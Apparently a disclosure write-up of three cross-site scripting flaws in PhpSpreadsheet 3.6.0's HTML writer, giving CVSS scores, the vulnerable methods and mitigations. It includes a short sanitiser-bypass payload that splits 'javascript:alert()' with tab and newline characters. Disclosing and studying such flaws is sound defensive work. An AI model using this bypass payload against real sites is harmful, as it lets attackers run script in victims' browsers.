Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: the HTML page is generated without clearing custom properties Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateMeta Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in custom properties in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.
Listing 9. Source code on the server
<?php
require DIR . '/vendor/autoload.php';
$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a custom property in the file is inserted into the docProps/custom.xml file.
!fig17
Figure 17. Embedding the payload
After making the changes, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into an HTML representation, a property is obtained that participates in the formation of a string without sanitization.
!fig18
Figure 18. Getting a custom property
When calling the static generateMeta method, you can see that the key of the custom property is displayed without sanitization.
!fig19
Figure 19. Getting a custom property
As a result, when viewing the excel file as the HTML representation, arbitrary JavaScript code will be executed.
<img width="356" alt="fig20" src="https://github.com/user-attachments/assets/a6ed21e3-685c-415c-b2dc-453bc0652bef" />
Figure 20. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Bypass XSS sanitizer using the javascript protocol and special characters
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.
The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.
Listing 6. Source code on the server
<?php
require DIR . '/vendor/autoload.php';
$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
An attacker can use special characters so that this library processes the javascript protocol with special characters and generates a HTML link. The Excel file is unpacked and a hyperlink in the file is inserted into the xl/worksheets/sheet1.xml file.
!fig11
Figure 11. Using the javascript protocol with special characters
Some payloads help bypass the security system and carry out a XSS attack.
Listing 7. HTML form that demonstrates the exploitation of the XSS vulnerability
jav	ascript:alert() jav
ascript:alert() jav
ascript:alert()
It's clear that the javascript protocol with special characters is used.
!fig12
Figure 12. Using the javascript protocol with special characters
Due to the special characters, the execution stream ends up on line 1543, and the link is built in HTML form with the javascript protocol.
<img width="373" alt="fig13" src="https://github.com/user-attachments/assets/3ca0c3c6-daa9-4502-ad9e-b803f308fd26" />
Figure 13. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: the HTML page is formed without sanitizing the hyperlink base Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateHTMLHeader Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.
Listing 8. Source code on the server
<?php
require DIR . '/vendor/autoload.php';
$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a HyperlinkBase in the file is inserted into the docProps/app.xml file.
!fig14
Figure 14. Embedding the payload
After the changes were made, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into the HTML representation, a property is obtained that participates in the formation of a string without sanitization.
!fig15
Figure 15. Generating the HTML page header using the HyperlinkBase property
After generating and displaying the HTML representation of the XLSX file, arbitrary JavaScript code will be executed. <img width="356" alt="fig16" src="https://github.com/user-attachments/assets/c3694661-31e3-4be8-9a86-6eb4dd4647b5" />
Figure 16. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)